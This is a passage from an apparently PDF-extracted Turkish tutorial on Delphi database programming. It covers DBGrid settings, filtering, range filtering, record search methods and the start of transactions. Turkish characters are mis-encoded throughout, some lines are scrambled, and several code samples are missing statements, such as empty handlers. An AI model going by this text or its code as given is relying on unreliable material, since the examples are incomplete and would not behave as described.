Yukarıdaki adımları izleyerek “Columns Editor” penceresinin açılmasını
sa÷layınız. Sütunlardan “ComboBox” gibi davranmasını istedi÷inizi seçip
“Object Inspector” penceresinden “PickList” özelli÷ine tıklayın. Aúa÷ıdaki
pencere açılacaktır. Burada kayıt de÷iúikli÷i (veya kayıt ekleme) anında
seçebilece÷i seçenekleri teker teker girin. Biz örne÷imiz için “MAGAZAADI”
sütununa “MIGROS-DIA-GIMA-BIM-ùOK” de÷erlerini girdik.
Programı çalıútırdıktan sonra aúa÷ıdaki gibi “DataGrid” kontrolünde yer alam
“MAGAZAADI” sütununa mous ile çift tıklayın. Girmiú oldu÷unuz ma÷azaların
isimlerinin yer aldı÷ı seçenekler ComboBox kontrolünde oldu÷u gibi açılan bir
liste halinde karúınıza gelecektir. Buradan ma÷azanızı seçip de÷iúikli÷i
gerçekleútirebilirsiniz.
37
Aúa÷ıdaki pencere “PickList” de÷erlerine ma÷aza adları girildikten sonra
uygulamanın çalıútırılmasından elde edilmiútir.
DataGrid Kontrolüne Ait Sütun Baúlıklarını Renklendirmek:
“DataGrid” kontrolünüze ait sütun baúlıklarını istedi÷iniz úekilde
renklendirebilirsiniz. Aúa÷ıda bu iúlemi nasıl yapabilece÷iniz açıklanmıútır.
Yukarıdaki adımları izleyerek “Columns Editor” penceresinin açılmasını
sa÷layın. Bu pencerede renklendirece÷iniz sütunu seçip “Title” özelli÷inin
solundaki “+” iúaretine tıklayın. Açılan alt seçeneklerde yer alan “Color”
özelli÷inden diledi÷iniz rengi seçebilirsiniz.
DataGrid Sütunlarını Renklendirmek:
Kontrolde gösterilen tüm sütunları farklı renklerde gösterebilirsiniz. Aúa÷ıda
belirtilen adımları izleyin.
Daha önce gösterilen úekilde “Columns Editor” penceresini açın. Bu pencerede
renklendirece÷iniz sütunu seçip “Object Inspector” penceresinden “Color” (Title
yok artık) özelli÷ine istedi÷iniz rengi atayabilirsiniz.
DataGrid Font Ayarları:
“Columns Editor” penceresini açtıktan sonra font ayarlarını de÷iútirece÷iniz
sütunu seçip “Object Inspector” penceresinden “Font” özelli÷inin solunda yer
alan “+” iúaretine tıklayın. Açılan alt seçeneklerden tüm font ayarlarını
yapabilirsiniz.
38
DataGrid Kontrolünde øúe Yaramayan Sütunları Gizlemek:
Bazı durumlarda tablonuzda yer alan tüm sütunları “DataGrid” nesnenizde
göstermek istemeyebilirsiniz. Böyle durumlarda aúa÷ıdaki adımları
izlemelisiniz.
Önceki uygulamalarda gösterildi÷i gibi “Columns Editor” penceresini açın.
Mousun sa÷ tuúuna tıklayarak açaca÷ınız menüden “Add All Fields” seçene÷ini
seçin.
Sol taraftaki pencerede tüm sütunlar gösterimde olup. Sa÷ taraftakinde ise
“ARIZASEBEBI” ile “SIRANO” sütunları “Delete” tuúuna basılarak
pencereden silinmiútir. Uygulamanızı çalıútırırsanız “DataGrid” kontrolünüz
aúa÷ıdaki úekilde gözükecektir.
Pencereye dikkatli baktı÷ınız zaman “ARIZASEBEBI” ile “SIRANO”
sütunlarının gözükmedi÷ini göreceksiniz. “DataGrid” kontrolünde sütunların
silinmesi tablonuzda hiçbir de÷iúiklik yapmayacaktır.
39
DataGrid Kontrolünde Sütun Baúlıklarını Gizlemek:
ùayet sütun baúlıklarının gösterilmesini istemiyorsanız. “DataGrid” kontrolünü
seçip “Object Inspector” penceresinde yer alan “Options” özelli÷inin solundaki
“+” iúaretine tıklayın. Açılan seçeneklerden “dgTitles” özelli÷ini false
yaparsanız sütun baúlıklarınız gözükmeyecektir.
Buradaki “Options” özelli÷inden di÷er bir çok ayarı yapabilirsiniz. Mesela
“dgEditing” özelli÷ini false yaparsanız, kullanıcı sütunlardaki hiç bir kayıt
bilgisini de÷iútiremez. “dgColLines” özelli÷ini false yaparsanız düúey çizgiler
gözükmez. “dgRowLines” özelli÷ini false yaparsanız yatay çizgiler gözükmez.
“dgRowSelect” özelli÷ini true yaparsanız tüm kaydı aúa÷ıdaki úekilde
seçebilirsiniz.
“Options” ta yer alan tüm özellikleri deneyin oldukça kullanıúlı ve sevimli
özellikler olduklarını göreceksiniz.
40
Aktif Kayıttaki Satır ve Sütun De÷erlerine Ulaúmak:
Aúa÷ıdaki kod blo÷unu kullanarak bulundu÷unuz kaydın kaçıncı kayıt oldu÷unu
veya hangi sütuna tıkladı÷ınızı kolayca ö÷renebilirsiniz.
type
yenigrid=class(tdbgrid);//yavru grid nesnesi türetildi
procedure TForm1.DBGrid1CellClick(Column: TColumn);
//Herhangi bir hücreye tıklanılması durumunda otomatik olarak iúler
begin
Label1.Caption:=Format ('Sütun: %2d; Satır: %2d',
[yenigrid (DbGrid1).Col,yenigrid (DbGrid1).Row]);
end;
DataGrid Nesnesindeki Toplam Satır Sayısını Hesaplamak
Aúa÷ıdaki úekilde kullanaca÷ınız bir kod blo÷u sayesinde “DataGrid” nesnesi
içerisinde yer alan satur sayısını kolayca hesaplayabilirsiniz.
Programa ait kod blo÷u aúa÷ıda verilmektedir.
41
type
yenigrid=class(tdbgrid);
procedure TForm1.DBGrid1ColEnter(Sender: TObject);
//Di÷er bir sütuna tıklanılması durumunda iúler
begin
Form1.Caption:=Format('Toplam Kayıt:%2d',
[yenigrid(DBGrid1).RowCount]);//kaç satır var
end;
DataGrid Nesnesi øçerisinde Sutuna Ait øúlem Yaptırmak:
Aúa÷ıdaki uygulamada DataGrid içerisinde “FATURATUTARI” sütununa ait
genel toplam miktarı hesaplanmaktadır.
type
yenigrid=class(TDBGrid);//Yeni class tanımlandı
var
adet,satir,i:Integer;
toplam:Double;
begin
Table1.Open;
toplam:=0;
adet:=StrToInt(Format('%2d',[yenigrid(DBGrid1).RowCount-1]));//satır sayısı
Table1.First;//ilk kayıda git
for i:=1 to adet do
begin
toplam:=toplam+DBGrid1.Fields[5].AsCurrency;//sonuca ekle
Table1.Next;//sonraki kayda geç
42
end;
Form2.Caption:='Toplam Fatura
Tutarı='+FloatToStrF(toplam,ffCurrency,14,0);
end;
DataGrid Nesnesine Ait Yordamlar:
ùimdi de sizlere DataGrid nesnesine ait tetikleyicilerden bahsetmek istiyorum.
x OnCellClick
DataGrid içerisinde herhangi bir hücreye tıklanılması durumunda otomatik
olarak iúleyen yordamdır.
type
yenigrid=class(TDBGrid);//Yeni class tanımlandı
procedure TForm2.DBGrid1CellClick(Column: TColumn);
//Seçili satır sayısını bul
begin
DBGrid1.Options:=DBGrid1.Options+[dgMultiSelect];//birden fazla satır seç
Form2.Caption:=Format('Seçili Satır
Adedi:%2d',[yenigrid(DBGrid1).SelectedRows.Count]);//seçili satır sayısı
end;
Programı çalıútırıp de÷iúik hücrelere tıklayın seçili satır sayısı baúlıkta
yazacaktır.
43
x OnColEnter
DataGrid nesnesi içerisindeki herhangi bir sütunun aktifleútirilmesi sonucu
otomatik olarak iúleyen bir yordamdır. økinci kez iúletilebilmesi için DataGrid
içerisinde farklı bir sütuna ait hücreye tıklanılması gerekecektir.
procedure TForm2.DBGrid1ColEnter(Sender: TObject);
begin
ShowMessage('Yeni Bir Sütuna Geçiú Yaptınız');
end;
x OnColExit
DataGrid nesnesi içerisinde aktif sütundan di÷er sütuna geçiú anında otomatik
olarak iúleyen bir yordamdır. økinci kez iúletilebilmesi için baúka bir sütuna
geçiú yapılması gerekecektir.
procedure TForm2.DBGrid1ColExit(Sender: TObject);
begin
ShowMessage('Sütun De÷iúti');
end;
x OnTitleClick
DataGrid nesnesine ait sütun baúlıklarına tıklanılması durumunda otomatik
olarak iúleyen bir yordamdır. Bu yordamda tanımlanmıú olan “Column”
parametresi tıklanılan kolon baúlı÷ına ait tüm özellikleri tutabilmektedir.
Aúa÷ıdaki uygulamada ilk üç sutuna ait baúlıklara tıklanıldı÷ı zaman, o sütuna
göre tabloda sıralatma iúlemi gerçekleútirilmektedir. Sıralatma yapılacak olan
sütunlara ait index tanımlamalarının muhakkak yapılması gerekti÷inide
hatırlatalım.
44
ùayet “SERVISTARIHI” sütun baúlı÷ına tıklarsanız tablo görüntünüz aúa÷ıdaki
úekilde gerçekleúecektir.
Uygulamaya ait kod blo÷u aúa÷ıda verilmiútir.
procedure TForm2.DBGrid1TitleClick(Column: TColumn);
begin
if column.Index=0 Then//ilk sütu baúlı÷ına tıklanırsa
begin
table1.DefaultIndex:=true ; //primary indexe göre sırala
Form2.Caption:='SIRANO ya Göre Sıralandı';
end
else if column.index=1 Then//ikinci sütun baúlı÷ına tıklanırsa
begin
Table1.IndexName:='MAGAZAINDEX'; //ma÷aza adına göre sırala
Form2.Caption:='MAGAZAADI na Göre Sıralandı';
end
else if column.index=2 Then//üçüncü sütün baúlı÷ına tıklanırsa
begin
Table1.IndexName:='TARIHINDEX'; //servis tarihine göre sırala
Form2.Caption:='SERVISTARIHI ne Göre Sıralandı';
end;
end;
45
Kayıt Filtreleme øúlemleri:
Tablonuzda bulunan tüm kayıtlar ile de÷il, içilerinden belirli özelli÷i olan
kayıtlarla ilgileniyorsanız kullanaca÷ınız yöntem kayıtları filtrelemek olacaktır.
“Query” kontrolü kullanarak daha geliúmiú tablo sorguları oluúturabilirsiniz.
Fakat bilhassa server-client uygulamalarında serverin devamlı sorguyla
zorlanması performansınızı etkileyecektir. Onun yerine (her zaman de÷il) kendi
lokal makinenize aldı÷ınız table nesnesini kullanarak kayıtlarınızı istedi÷iniz
úekilde kolayca filtreleyebilirsiniz. Bu size daha performnslı bir çalıúma ortamı
yaratabilir. Aúa÷ıda Tablo kontrolünde yer alan kayıtları nasıl
filtreleyebilece÷iniz konusu iúlenmektedir.
x Table1.FilterOptions
Filtreleme iúleminde, küçük büyük harf duyarlılı÷ının olup olmayaca÷ını ve alan
parçasına göre filtreleme yapılıp yapılamayaca÷ını belirleyen özelli÷idir.
Alabilece÷i de÷erler aúa÷ıda verilmiútir.
FilterOptions
Sonuç
foCaseInsensitive
Küçük-Büyük Harf Duyarlılı÷ı Yok
foNoPartialCompare
Alan Parçasına Göre Filtreleme Yapılabilir.
procedure TForm7.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
Table1.FilterOptions:=[foCaseInsensitive];//harf duyarlılı÷ı yok
end;
x Table1.Filtered
Belirlenen kriterin tabloya uygulanıp uygulanmayaca÷ını belirleyen özelli÷idir.
“True” de÷erinin aktarılması filtre kriterinin tabloya uygulanması anlamını
taúımaktadır.
begin
Table1.Filtered:=true;//kriteri uygula
end;
Bu özelli÷e “false” de÷erinin aktarılması tablodaki tüm kayıtların tekrar
listelenmesini sa÷layacaktır (Filtre iptal).
46
x Table1.Filter
Tabloya uygulanacak olan filtre kriteri bu özellikle belirlenir. Kodlamada
aúa÷ıdaki úekilde bir blok kullanmalısınız.
begin
Table1.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text);//kriter
end;
Kriteri belirlemeniz tablonuzun filtrelenece÷i anlamını taúımaz. Muhakkak
ardından “Filtered” özelli÷ine true de÷erini aktarmalısınız.
Yukarıda anlattı÷ımız özelliklerin daha iyi bir úekilde anlaúılabilmesi için olayı
bir örnekle pekiútirelim.ølk olarak formunuza bir adet “Table”, bir adet
“DataSource”,bir adet “DataGrid”, bir adet “GroupBox,bir adet “Label” ve bir
adet “Edit” kontrolü yerleútirerek tüm kayıtların “DataGrid” nesnesinde
gösterilmesini sa÷layın. Amacımız sadece “Edit” kutusuna girdi÷imiz ma÷aza
ismini listelemek olacaktır.
øúlemin uygulanıúı ma÷aza adının “Edit” kontrolüne girildikten sonra “Enter”
tuúuna basılmasıyla gerçekleúecektir. Aúa÷ıdaki kod blo÷unu
“Unit”
pencerenize ekleyiniz.
begin
if Key=#13 Then //Enter tuúu tıklanırsa
begin
47
Table2.Filtered:=true;
end;
end;
Programı çalıútırıp “MAGAZA ADI” nı Edit kontrolüne girip “Enter” tuúuna
basınız. “DataGrid” kontrolünüzde sadece “MIGROS” ma÷azalarına yapılmıú
olan servisler listelenecektir.
Aúa÷ıdaki kodlamada “Enter” tuúuna basmanıza gerek yoktur. Her karaktere
bastı÷ınız zaman kriter yeniden denenecektir.
procedure TForm7.Edit1Change(Sender: TObject);
begin
end;
Projeyi çalıútırdı÷ınız zaman ma÷aza ismini “Edit” kontrolünün içerisine
tamamen yazana kadar hiç bir kayit “DataGrid” nesnesi içerisinde
listelenmeyecektir. Ma÷aza adı tamamen yazıldıktan sonra, o ma÷azaya ait tüm
servisler “DataGrid” nesnesi içerisinde listelenmiú olacaktır.
Kodu aúa÷ıdaki úekilde de÷iúirseniz girece÷iniz ilk karakterlere göre filtreleme
yapabilirsiniz. Burada kodu yine “OnChange” yordamına yazmanız gerekti÷ini
hatırlatıp, kod satırlarını verelim.
48
begin
Table2.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text+'*');//kriter
end;
Prgramı çalıútırıp kriter kısmında “G” Harfine basarsanız “G” ile baúlayan tüm
Ma÷aza servislerini listeleyebilirsiniz. økinci karakter olarak “U” ya basarsanız
“GIMA” ma÷azasıda kayıtlar arasında listelenmeyecektir.
Filtrelenmiú Kayıtlar Arasında Gezinmek:
Filtrelemiú oldu÷unuz kayıtlar arasında kolaylıkla dolaúabilirsiniz. Yapmanız
gereken tek úey tablo nun filtreli olup olmadı÷ını kontrol etmekten ibaret
olacaktır.
Filtreli Kayıtlarda Bir Sonrakini Git:
Aúa÷ıdaki kodlamayla filtreli kayıtlar içerisinde sonraki kayda ulaúabilirsiniz.
begin
if Table2.Filtered=true Then//filtre uygulanmıúsa
table2.FindNext;//sonraki kayda git
end;
49
Filtreli Kayıtlarda Bir Öncekine Git:
begin
if Table2.Filtered=true Then
table2.FindPrior;//bir önceki kayda git
end;
Filtreli Kayıtlarda ølk Kayda Git:
begin
table2.FindFirst;//ilk kayda git
end;
Filtreli Kayıtlarda Son Kayda Git:
begin
table2.FindLast;//son kayda git
end;
Tarih Aralı÷ına Göre Filtre Uygulamak:
Yukarıdaki örnekte girece÷iniz iki tarih arasını da filtreleyebilirsiniz. Yanlız bu
iúlemi gerçekleútirebilmeniz için bu sütunun muhakkak Primary veya Secondary
index olarak tanıtılmıú ve indexin aktifleútirilmiú olması gerekmektedir. ùimdi
sizlere Tablonuzda (SERVIS) nasıl secondary index tanımlayabilece÷inizi
gösterece÷im.
Secondary Index Tanımlamak:
“Start->Programs->Borland Delphi->Database Desktop” adımlarını izleyin.
Ardından açılan pencereden “File->Open->Table” diyerek daha önce kaydetmiú
oldu÷unuz “SERVIS” tablosunu açın. Yine “Table->Restructure”
seçeneklerini izleyerek tablonuzun tasarım anına ulaúın. ùimdi bu pencereyi
kullanarak hem “SERVISTARIHI” sütununu hemde “FATURATUTARI”
sütununu secondary index olarak tanımlayaca÷ız.
50
Hatırlatalım Seconder index tanımlayabilmeniz için Paradox ta muhakkak
primary index tanımlaması yapmıú olmanız gerekmektedir.
“Restructure Paradox” penceresinde yer alan “Table Properties” kısmından
“Secondary Indexes” seçene÷ini seçin ve “Define” dü÷mesine tıklayın.
Aúa÷ıdaki pencere açılacaktır.
Bu pencerede “SERVISTARIHI” sütununu seçip “Indexed fields” listesine
aktarın. Ardından “OK” buttonuna tıklayın.
51
Karúınıza aúa÷ıdaki pencere açılacak ve sizden indexinizin ismini girmenizi
isteyecektir. øndex isimlerinizi rasgele vermeyin. Daha sonra projeyi incelerken
o indexin hangi sütuna ait oldu÷unu hatırlayabilesiniz.
Tekrar “Define” buttonuna tıklayarak aynı
“FATURATUTARI” sütunu için gerçekleútirin.
“TUTARINDEX” úeklinde adlandırın.
iúlemleri
Index in
bu sefer
ismini de
Bu úekilde “SERVIS” tablosu için iki adet secondary index tanımlamıú olduk.
Bu aúamadan sonra kolayca aralık filtrelemesi yapabilirsiniz.
x Table2.SetRange
Aralık filtrelemek için kriterlerinizi belirleyen özelli÷idir. Bu komutu
kullanabilmeniz için, aralık filtrelemesi yapaca÷ınız sütunun muhakkak index
olarak tanımlanmıú olması gerekmektedir.
begin
Table2.SetRange([Edit2.Text],[Edit3.Text]);
end;
Yukarıdaki kod satırında “Edit1” ve “Edit2” kontrollerine girilen tarih
içeriklerinin arasında kalan kayıtları listelemesi söylenmektedir.
x Table2.ApplyRange
“SetRange” komutuyla girilen kriterlere göre tablonun filtrelenmesini sa÷layan
komuttur. “SetRange” komutu sadece filtreleme kriterlerini belirler. Filtre
iúlemini tabloya uygulamaz. Filtreleme iúlemini tabloya uygulamanız için
kesinlikle gerekli olan bir komuttur.
ùimdi aúa÷ıdaki tasarımı oluúturup aralık filtreleme iúlemini örnek üzerinde
görelim. Daha önce anlatılan yöntemlerle gerekli tablolara ba÷lanıp, kayıtların
“DataGrid” nesnesi içerisinde gösterilmesini sa÷layın.
52
begin
Table2.IndexName:='TARIHINDEX';//indexi aktifleútir
Table2.SetRange([Edit2.Text],[Edit3.Text]);//kriterler
Table2.ApplyRange;//uygula
end;
Programı çalıútırıp “Edit1” ve “Edit2” kontrolüne tarihlerinizi girip Button
kontrolüne tıklayın. Belirtti÷iniz aralıktaki kayıtların listelendi÷ini göreceksiniz.
Uyguladı÷ınız filtreyi iptal etmek için aúa÷ıdaki úekilde bir kod blo÷u
kullanabilirsiniz.
//Tümünü Göster
begin
Table2.Close;
Table2.Open;
end;
Parasal Aralı÷a Göre Filtre Uygulamak:
Tablonuzdaki parasal sutunlar için de kolayca filtre uygulayabilirsiniz. Filtre
kriterini koyaca÷ınız sütunun indexli ve indexinin de aktif olmasına dikkat
etmelisiniz.
53
Aúa÷ıda izlemeniz gereken adımlar ve özellikleri dikkatlice incelenmektedir.
x Table2.SetRangeStart
Alt sınıra ait filtreyi belirlemek için kulanılan bir özelliktir. Bu satırdan sonra
belirtece÷iniz kriteri aralı÷ın alt sınırı olarak kabul edecektir.
Table2.SetRangeStart;
Table2.FieldByName('FATURATUTARI').AsCurrency:=StrToCurr(Edit2.Text)
x Table2.SetRangeEnd;
Üst sınıra ait filtreyi belirlemek için kulanılan bir özelliktir. Bu satırdan sonra
belirtece÷iniz kriteri aralı÷ın üst sınırı olarak kabul edecektir.
Table2.SetRangeEnd;
Table2.FieldByName('FATURATUTARI').AsCurrency:=StrToCurr(Edit3.Text)
x
Table2.ApplyRange
Belirtilen aralı÷ı tabloya filtre olarak uygulamayı sa÷layan methoddur. Bu satır
olmadan kriterleri belirleseniz bile “DataGrid” kontrolünüz filtreli kayıtları
göstermeyecektir.
ùimdi aúa÷ıdaki úekilde bir tasarım oluúturup gerekli ba÷lantıları daha önce
anlatıldı÷ı úekilde yapın.
54
begin
Table2.IndexName:='TUTARINDEX';//imdexi aktif yap
Table2.SetRangeStart;//alt sınır
Table2.FieldByName('FATURATUTARI').AsCurrency:=StrToCurr(Edit2.Text);
Table2.SetRangeEnd;//üst sınır
Table2.FieldByName('FATURATUTARI').AsCurrency:=StrToCurr(Edit3.Text);
Table2.ApplyRange;
end;
Burada yine index in çok önemli oldu÷unu hatırlatmak isterim. Kullanılacak
olan index in “Primary” veya “Secondary” olması komutlar için önem arz
etmez. Yanlız o sütuna ait index in “Object Inspector” penceresinden veya kodla
muhakkak aktifleútirilmesi gerekecektir.
55
Kayıt Arama øúlemleri:
Bu bölümde hangi kayıtta olursanız olun, iúinize yarayan kaydı bulup aktif
yapma iúlemini gerçekleútirece÷iz. Kayıt arama iúlemlerinde birden fazla sütuna
göre aramada yaptırabilirsiniz. Her çeúit yöntemi örneklendirmeye çalıúaca÷ım.
Fazla kayıt içeren tablolarda kayıt arama iúlemlerini muhakkak index
tanımlayarak yapmalısınız. Bu size çok daha hızlı sonuç alma seçene÷i
yaratacaktır. Index in primary veya secondary olması önem arz etmeyecektir.
Delphi’de kayıt arama iúlemleri için kullanılan birkaç yöntem bulunmaktadır.
Bu yöntemlerin hepsini detaylı olarak anlatmaya çalıúaca÷ım. Lütfen dikkatlice
inceleyiniz.
x Locate Methodu
Bu method sayesinde indexli veya indexsiz sütunlarda arama yaptırabilirsiniz.
øndexli sütunlarda yaptıraca÷ınız aramalar çok daha hızlı sonuç verecektir.
begin
Table1.Locate('MAGAZAADI',Edit1.Text,[]);//Kayıt Bul
end;
ùimdi aúa÷ıdaki tabloyu paradoxta oluúturup üzerinde iúlemler yapalam.
Type(Tipi)
MAGAZAADI
A
25
ADRES
A
25
TELEFON
A
15
MUDUR
A
25
SEHIR
A
25
Key(Primary ind)
*
“MAGAZAADI” sütununu primary index olarak tanımlamayı unutmayınız.
Tabloyu oluúturduktan sonra daha önceki bölümde anlatıldı÷ı gibi içerisine
“MIGROS –DIA-GIMA” ma÷azalarının bulundu÷u kayıtları girin (primary
index oldu÷u için aynı ma÷aza ismini ikinci kayıtta kullanamazsınız).
ùimdi aúa÷ıdaki tasarımı oluúturup Table nesnesine aktardı÷ınız kayıtların
tamamının “DataGrid” nesnesinde gösterilmesini sa÷layın. Daha sonra
formunuza bir adet “Edit” kontrolü ile bir adet “Button” kontrolü yerleútiriniz.
Amacımız button kontrolüne tıkladı÷ımız zaman edit içerisindeki ma÷azayı
bulup aktif hale geçirmek olacaktır.
56
Bu methodun önemli bir özelli÷ide bulunan kaydın aktif kayıt haline
getirilmesidir.
Yukarıda verilen tasarımı oluúturduktan sonra “Kayıt Bul” dü÷mesine aúa÷ıdaki
kod satırlarını ekleyiniz.
begin
Table1.DefaultIndex:=true;//primary index aktif
Table1.Locate('MAGAZAADI',Edit1.Text,[]);//Kaydı bul
end;
Bu örnekte küçük büyük harf duyarlılı÷ı bulunmaktadır. Yani küçük harfle
migros yazarsanız kaydı bulamazsınız. ùayet bu hassasiyeti ortadan kaldırmak
istiyorsanız kullanılan üçüncü parametreyi aúa÷ıdaki úekilde de÷iútirmelisiniz.
begin
Table1.Locate('MAGAZAADI',Edit1.Text,[loCaseInsensitive]);//duyarsız
end;
Üçüncü parametrenin alabilece÷i seçenekler aúa÷ıda verilmiútir.
Parametre
Sonuç
foCaseInsensitive
Küçük-Büyük Harf Duyarlılı÷ı Yok
foNoPartialCompare
Alan Parçasına Göre Arama Yapılabilir.
57
Aranan kaydın bulunamaması sizin için önem arz ediyorsa o zaman kodunuzu
aúa÷ıdaki úekilde de÷iútirmelisiniz.
var
ara:Boolean;
begin
ara:=Table1.Locate('MAGAZAADI',Edit1.Text,[loCaseInsensitive]);
if ara=false Then
ShowMessage('Kayıt Bulunamadı');
end;
Burada kullanılan “ara” isimli de÷iúken, kaydın bulunamaması durumunda false,
bulunması durumunda ise true de÷erini almaktadır. Daha sonra bu de÷eri
kullanarak kaydın bulunup bulunamadı÷ını kolayca ö÷renebilirsiniz.
Birden Fazla Sütuna Göre Arama Yaptırmak:
Kayıt arama iúlemi için tek sütun yeterli de÷ilse, birden fazla kriter
kullanacaksanız, o zaman aúa÷ıdaki yöntemi uygulamanız gerekecektir.
Formunuza ikinci bir “Edit” kontrolü yerleútirerek aúa÷ıdaki tasarımı
oluúturunuz.
Aúa÷ıda yazaca÷ımız kodu çalıútırabilmeniz için “Uses” satırına “Variants”
kütüphanesini eklemelisiniz.
58
//uses satırına Variants ı eklemeyi unutmayınız.
var
ara:Boolean;
begin
ara:=Table1.Locate('ADRES;MUDUR',varArrayOf([Edit1.Text,Edit2.Text]),[]);
if not ara Then
end;
Yukarıdaki örnekte “ADRES” ve “MUDUR” sütununa göre arama
yaptırılmaktadır. “Edit1” kontrolüne girilen de÷er “ADRES” içinde, “Edit2”
kontrolüne girilen de÷erde “MUDUR” sütunu içerisinde aratılacaktır.Amaç aynı
kayıtta ikisine rastlarsa o kaydı aktif hale getirmek olacaktır. ùayet kaydı
bulamazsa “ara” isimli “Boolean” tip de÷iúken “false” de÷erini alarak kayıt
bulunamadı uyarısını kullanıcıya iletecektir.
x SetKey-GotoKey Methodları
Index li sütunlara göre kayıt araması yapılabilen ikinci yöntemdir. Kullanımına
ait örneklendirme aúa÷ıda yapılmıútır.
Table1.SetKey
Kayıt arama iúlemini baúlatan komuttur. Sadece indexli sütunlar için
kullanılabilmektedir.
begin
Table1.SetKey;//Kayıt arama iúlemine baúla
end;
Table1.GotoKey
Aranan kritere uygun kaydı aktifleútirmek için kullanılan komuttur. Sadece
indexli sütunlar için çalıúmaktadır.
begin
Table1.GotoKey; //harf duyarlılı÷ı var
end;
59
ùimdi aúa÷ıdaki form tasarımını oluúturup SetKey-GotoKey methodlarının
örnek içerisinde kullanımını görelim.
Aúa÷ıdaki kod satırlarını “Kayıt Bul” buttonunun “OnClick” yordamına
ekleyiniz.
//Kayıt Bul
begin
Table1.FieldByName('MAGAZAADI').AsString:=Edit1.Text;//kriter
Table1.GotoKey; //harf duyarlılı÷ı var
if Table1.GotoKey=false Then
end;
x SetKey-GotoNearest Methodları
Aradı÷ınız kaydın içeri÷ini tam olarak bilmiyorsanız, veya tamamını yazmadan
arama yapabilmek için kullanılan methodlardır. “SetKet” aramaya
baúlayabilmek için gerekli komut olup önceki örnekle aynı karakteristi÷i
taúımaktadır.
Table1.GotoNearest
Belirtilen alan parçasına göre arama yapabilen methoddur. Aynı úekilde kritere
uyan kayıt bulundu÷u zaman aktifleútirilecektir. Aúa÷ıda bu methodların beraber
kullanımına ait örneklendirme yapılmıútır.
60
//Alan parçasına göre ara
begin
Table1.FieldByName('MAGAZAADI').AsString:=Edit1.Text;
Table1.GotoNearest; //harf duyarlılı÷ı yok
end;
x Lookup Methodu
Kaydı aktif yapmadan arama iúlemi yapabilen methoddur. Kayıt bulunduktan
sonra, aktif kayda ait istenilen sütun de÷eri de÷iúkene aktarılabilir. Aúa÷ıdaki
örnekte bu husus iúlenmektedir.
61
var
ara:variant;
begin
ara:=Table1.Lookup('MAGAZAADI',Edit1.Text,'ADRES;MUDUR');
if VarIsNull(ara) Then //boú sa
ShowMessage('Kayıt Bulunamadı')
else
ShowMessage('Ma÷aza Adresi='+ara[0]+#13#10+'Ma÷aza Müdürü='+ara[1]);
end;
ùimdi verdi÷imiz kodu açıklamaya çalıúalım. “Lookup” methoduyla Ma÷aza adı
sutununda kritere uygun olan de÷er aranmakta, kayıt bulunduktan sonra
“ADRES” ara[0] isimli variant tip de÷iúkene, “MUDUR” de ara[1] isimli di÷er
variant tip de÷iúkene aktarılmaktadır (buradaki ara isimli dizi de÷iúkeni kendisi
otomatik olarak oluúturmaktadır).
62
Transaction øúlemi:
Toplu kayıt iúlemlerinde (kayıt ekleme veya de÷iútirme) veri güvenli÷ini
sa÷lamak amaçlı kullanılan çok önemli bir yöntemdir. Tablonuza döngü
içerisinde kayıt girdi÷inizi düúünün, arada bir tanesinde oluúabilecek hata çok
kötü sonuçlar do÷urabilecektir. Bu tür sonuçları engellemek amaçlı transaction
kullanırsanız, kaydetmeye baúlamadan (veya silmeye) önceki konuma dönüp
tekrar deneme úansınız olacaktır. ùayet herhangi bir aksaklık olmazsa tüm
de÷iúiklikleri kabul edip di÷er iúlemlerinize geçebilirsiniz.
“Transaction” iúlemini güvenlik açısından kullanmak zorunda (tam bir
zorunluluk yoktur ama çok faydalı olacaktır) di÷er bir durumda network
uygulamalarıdır. Bilgisayarlar arası bilgi tutarlılı÷ını sa÷lamak için tüm kayıt
de÷iúikli÷i iúlemlerini “Transaction” kullanarak yapmalısınız. Bu size güvenli
bir ortam yaratacaktır.
“Transaction” iúleminde “Delphi” nin yaptı÷ı iúlem, baúlatıldı÷ı anda boú bir
“Database” oluúturmak ve yapılan tüm iúlemleri (tablonuza de÷il) bu database
kaydetmekten ibarettir. Uygulayaca÷ınız iúlem baúarılı bir úekilde gerçekleúirse
sonuçları Database den tablonuza kolayca aktarabilirsiniz. ùayet bir aksaklık
çıkarsa bu durumda “Transaction” iúlemini iptal ederek eski konumunuza
dönebilirsiniz. “Transaction” iúleminden sonra yapılan de÷iúiklikleri bir bütün
olarak düúünmelisiniz. Ya hepsini geri alırsınız veya hepsini topluca tablonuza
yazdırırsınız. Aúa÷ıda “Transaction” iúleminde kullanaca÷ınız komutlar
gösterilmektedir.
Uyarı:ùayet “Transaction” iúlemi uygulayacaksanız tablonuzda muhakkak
index bulunmalı ve aktif hale geçirilmelidir.
Yukarıda da bahsetti÷imiz gibi “Transaction” iúlemi sırasında yapılan tüm
iúlemler yenibir “Database” nesnesi içerisinde tutulacaktır. Bu yüzden
formunuza “BDE” yapra÷ında yer alan “Database” kontrolünden bir adet
yerleútirmeyi unutmayınız.
Database Kontrolü
“BDE” Yapra÷ında yer alan bu kontrol sayesinde kolaylıkla “Transaction”
iúlemini gerçekleútirebilirsiniz. Yapaca÷ınız tüm de÷iúiklikler bu yeni
“Database” içerisinde kaydedilecektir.
Aúa÷ıda bu iúlemleri baúarılı bir úekilde gerçekleútirebilmek için “Database”
kontrolüne ait kullanabilece÷iniz özellik ve methodlar açıklanmaya
çalıúılmaktadır.
63
x Database1.DatabaseName
“Database” kontrolünün oluúturulaca÷ı yeri belirlemek amaçlı kullanılan
özelli÷idir. Bu özelli÷e kalasörün yolu girilebilece÷i gibi “Alias” isminide
girebilirsiniz (siz hep alias ismini giriniz).
begin
Database1.DatabaseName:='gazi';
Table1.Open;
end;
x DataBase1.Connected
“Database” ba÷lantısını açıp kapatmak için kullanılan özelli÷idir. “True”
de÷erinin aktarılması ba÷lantının kurulması anlamını içermektedir. “False”
de÷eri aktarılırsa ba÷lantı kapatılacaktır.
begin
DataBase1.Connected:=true;
Table1.Open;
end;
x Database1.StartTransaction
Transaction iúlemini baúlatan methoddur. Bu satırdan sonra tabloda yapılacak
olan tüm de÷iúiklikler bu “Database” içerisinde kaydedilecektir.
//Baúlat
begin
Database1.StartTransaction;//Transactionı baúlat
end;
x Database1.Commit
“DataBase” içerisinde tutulan de÷iúiklikleri tabloya yansıtmak amaçlı kullanılan
komuttur. Bu komuttan sonra “Transaction” iúlemi sona erecektir. “Database
içerisinde depolanan bilgiler sıfırlanacaktır. Yeniden “Transaction”
64
uygulanacaksa bu
kullanılmalıdır.
komuttan
